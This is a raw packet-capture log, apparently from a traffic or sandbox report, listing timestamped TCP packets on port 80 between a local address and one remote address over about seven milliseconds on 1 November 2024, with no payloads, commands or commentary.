Nov 1, 2024 08:50:21.855811119 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855835915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855849028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855859995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855886936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855952978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855963945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855973959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855994940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855997086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856008053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856070995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856070995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856188059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856213093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856229067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856240034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856251955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856261969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856273890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856281042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856303930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856311083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856311083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856317043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856326103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856337070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856348038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856359959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856369972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856389999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856389999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856389999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856389999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856409073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856420040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856424093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856431007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856442928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856453896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856476068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856476068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856509924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856739044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856758118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856776953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856801033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856812000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856821060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856821060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856832027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856833935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856842995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856873035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856873035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856882095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856894016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856903076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856930017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856944084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856952906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856967926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856971025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.856978893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.856990099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857014894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857026100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857036114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857053041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857054949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857054949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857064962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857072115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857075930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857096910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857104063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857115030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857151985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857151985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857156038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857167006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857193947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857202053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857204914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857214928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857295036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857309103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857320070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857374907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857412100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857439041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857449055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857465982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857486963 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857491016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857503891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857526064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857537985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857548952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857572079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857574940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857584000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857594967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857604980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857609034 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857609034 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857645035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857687950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857697964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857724905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857736111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857745886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857758999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857784986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857785940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857785940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857786894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857795954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857805967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857819080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857830048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857836962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857841969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.857861042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.857861042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.858479977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.858529091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.858539104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.858546972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.858551025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.858572006 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.858576059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.858587027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.858597040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.858625889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.858625889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859165907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859178066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859189034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859200954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859211922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859215975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859247923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859261990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859266043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859277010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859287977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859291077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859301090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859317064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859328985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859334946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859334946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859340906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859380007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859678984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859710932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859721899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859733105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859745026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859759092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859788895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859800100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859848976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859893084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859904051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859915018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859952927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859960079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859968901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.859972000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.859982014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860014915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.860132933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860142946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860155106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860179901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.860198021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860209942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860210896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.860223055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860270977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.860276937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860337019 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.860347986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860367060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860378027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860388041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860404968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.860435963 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.860816956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860858917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860877991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860925913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.860948086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860970020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.860981941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861012936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861025095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861040115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861040115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861052036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861064911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861066103 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861077070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861112118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861115932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861123085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861161947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861210108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861222029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861232996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861244917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861291885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861291885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861301899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861315012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861325026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861346960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861347914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861365080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861377001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861382961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861386061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861397028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861407995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861428022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861443996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861449957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861449957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861449957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861455917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861469030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861483097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861495972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861511946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861514091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861529112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861548901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861560106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861589909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861594915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861594915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861602068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861613035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861624956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861635923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861646891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861656904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861669064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861669064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861669064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861675978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861685991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861696005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861704111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861710072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861731052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861741066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861768007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861783028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861814022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861824989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861826897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861835003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861860991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861896038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861896038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861917973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861928940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861938953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861979961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.861985922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.861996889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862010002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862027884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862039089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862051964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862067938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862076998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862080097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862080097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862080097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862090111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862122059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862149000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862159014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862159014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862257004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862268925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862278938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862289906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862301111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862301111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862313032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862323046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862348080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862377882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862431049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862456083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862466097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862477064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862504959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862591028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862601995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862612009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862624884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862649918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862652063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862660885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862673998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862683058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862700939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862705946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862713099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862723112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862735033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862747908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862765074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862765074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862796068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862802029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862807989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862818003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862842083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862848997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862854958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862865925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862876892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862900972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862910986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862910986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862911940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862922907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862934113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862945080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862956047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862967968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.862974882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862979889 CET	80	49738	185.215.113.16	192.168.2.4
